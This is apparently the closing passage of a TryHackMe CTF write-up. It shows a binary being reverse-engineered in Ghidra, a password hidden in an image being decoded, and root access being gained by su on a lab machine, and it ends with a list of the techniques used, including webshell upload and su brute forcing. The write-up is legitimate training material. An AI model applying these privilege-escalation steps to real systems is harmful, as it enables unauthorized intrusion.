hakanbey@ubuntu:/usr/bin$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|10:37:43(HKT)]
└> wget http://$RHOSTS:8000/binary
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|10:49:10(HKT)]
└> ghidra
Function main()
:
undefined8 main(void)
{
int iVar1;
FILE *__stream;
FILE *__stream_00;
FILE *__stream_01;
long in_FS_OFFSET;
undefined8 local_1e8;
undefined8 local_1e0;
undefined8 local_1d8;
undefined8 local_1d0;
undefined8 local_1c8;
undefined8 local_1c0;
undefined8 local_1b8;
undefined8 local_1b0;
undefined8 local_1a8;
undefined8 local_1a0;
undefined4 local_198 [4];
undefined2 local_188 [8];
undefined2 local_178 [8];
undefined4 local_168 [4];
undefined4 local_158 [4];
undefined4 local_148;
undefined local_144;
char local_138 [32];
undefined2 local_118;
undefined local_116;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_1e8 = 0x726177;
local_1e0 = 0;
local_1d8 = 0x656e6f7a;
local_1d0 = 0;
local_1c8 = 0x6e69;
local_1c0 = 0;
local_1b8 = 0x616461;
local_1b0 = 0;
local_1a8 = 0x616e;
local_1a0 = 0;
strcat((char *)&local_1e8,(char *)&local_1d8);
strcat((char *)&local_1e8,(char *)&local_1c8);
strcat((char *)&local_1e8,(char *)&local_1b8);
strcat((char *)&local_1e8,(char *)&local_1a8);
printf("I think you should enter the correct string here ==>");
__isoc99_scanf(&DAT_00100edd,local_138);
iVar1 = strcmp(local_138,(char *)&local_1e8);
if (iVar1 == 0) {
__stream = fopen("/root/hint.txt","r");
__isoc99_fscanf(__stream,&DAT_00100edd,&local_118);
printf("Hint! : %s",&local_118);
fgets((char *)&local_118,0xff,__stream);
puts((char *)&local_118);
__stream_00 = fopen("/root/root.jpg","rb");
if (__stream_00 == (FILE *)0x0) {
puts("Unable to open source!");
/* WARNING: Subroutine does not return */
exit(1);
}
__stream_01 = fopen("/home/hakanbey/root.jpg","wb");
puts("Copy /root/root.jpg ==> /home/hakanbey/root.jpg");
if (__stream_01 == (FILE *)0x0) {
puts("Unable to copy!");
fclose(__stream_00);
/* WARNING: Subroutine does not return */
exit(2);
}
while( true ) {
iVar1 = fgetc(__stream_00);
if (iVar1 == -1) break;
fputc(iVar1,__stream_01);
}
fclose(__stream);
fclose(__stream_00);
fclose(__stream_01);
}
else {
local_198[0] = 0x696b70;
local_188[0] = 0x6c;
local_178[0] = 0x6c;
local_168[0] = 0x392d20;
local_158[0] = 0x742d20;
local_148 = 0x73747020;
local_144 = 0;
local_118 = 0x302f;
local_116 = 0;
strcat((char *)local_198,(char *)local_188);
strcat((char *)local_198,(char *)local_178);
strcat((char *)local_198,(char *)local_168);
strcat((char *)local_198,(char *)local_158);
strcat((char *)local_198,(char *)&local_148);
strcat((char *)local_198,(char *)&local_118);
system((char *)local_198);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
The local_1a-d8
looks interesting:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|10:49:30(HKT)]
└> echo '0x726177' | xxd -r -p
raw
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|10:52:12(HKT)]
└> echo '0x656e6f7a' | xxd -r -p
enoz
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|10:52:35(HKT)]
└> echo '0x6e69' | xxd -r -p
ni
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|10:52:47(HKT)]
└> echo '0x616461' | xxd -r -p
ada
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)[2023.02.02|10:52:54(HKT)]
└> echo '0x616e' | xxd -r -p
an
rawenozniadaan
? zoneniadaanraw
??
Umm… Let’s reverse it:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|11:03:18(HKT)]
└> echo '0x616e0x6164610x6e690x656e6f7a0x726177' | xxd -r -p | rev
warzoneinadana
warzoneinadana
may be correct?
Let’s try that:
hakanbey@ubuntu:/usr/bin$ /usr/bin/binary
I think you should enter the correct string here ==>warzoneinadana
Hint! : Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)
Copy /root/root.jpg ==> /home/hakanbey/root.jpg
hakanbey@ubuntu:/usr/bin$ ls -lah /home/hakanbey/root.jpg
-rw-rw-r-- 1 root hakanbey 45K Feb 2 03:04 /home/hakanbey/root.jpg
Nice!
Now, the binary
copied a jpg
image, and outputs a hint:
Hint! : Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)
Armed with above information, we can first transfer the root.jpg
image:
hakanbey@ubuntu:/usr/bin$ cd ~
hakanbey@ubuntu:~$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|11:03:22(HKT)]
└> wget http://$RHOSTS:8000/root.jpg
Then, use xxd
and check offset 00000020
:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|11:12:01(HKT)]
└> xxd root.jpg | head -n 3
00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060 ......JFIF.....`
00000010: 0060 0000 ffe1 0078 4578 6966 0000 4d4d .`.....xExif..MM
00000020: fee9 9d3d {Redacted} ...=y._..m..i..u
After that, copy offset 00000020
’s value, paste it to CyberChef:
In the room’s hint, we see:
Let’s use those recipes:
We found root’s password!
Let’s Switch User to root!
hakanbey@ubuntu:~$ su root
Password:
root@ubuntu:/home/hakanbey# whoami;hostname;id;ip a
root
ubuntu
uid=0(root) gid=0(root) groups=0(root)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:e0:8b:fe:8b:6d brd ff:ff:ff:ff:ff:ff
inet 10.10.152.107/16 brd 10.10.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::e0:8bff:fefe:8b6d/64 scope link
valid_lft forever preferred_lft forever
I’m root! :D
Rooted
root.txt:
root@ubuntu:/home/hakanbey# cat /root/root.txt
THM{Redacted}
Conclusion
What we’ve learned:
- Enumerating Hidden Directories and Files Via
gobuster
- Cracking Steganography Image’s Passphrase Via
stegseek
- Enumerating FTP
- Enumerating MySQL Databases Via PHPMyAdmin
- Cracking Password Hash Via
john
- Uploading Webshell & Modifying File Permission Via
chmod
In FTP - Appending Known Password Prefix To Custom Wordlist
- Vertical Privilege Escalation Via Brute Forcing Local User In
su
Viasucrack
- Reverse Enigneering Linux Binary Via Ghidra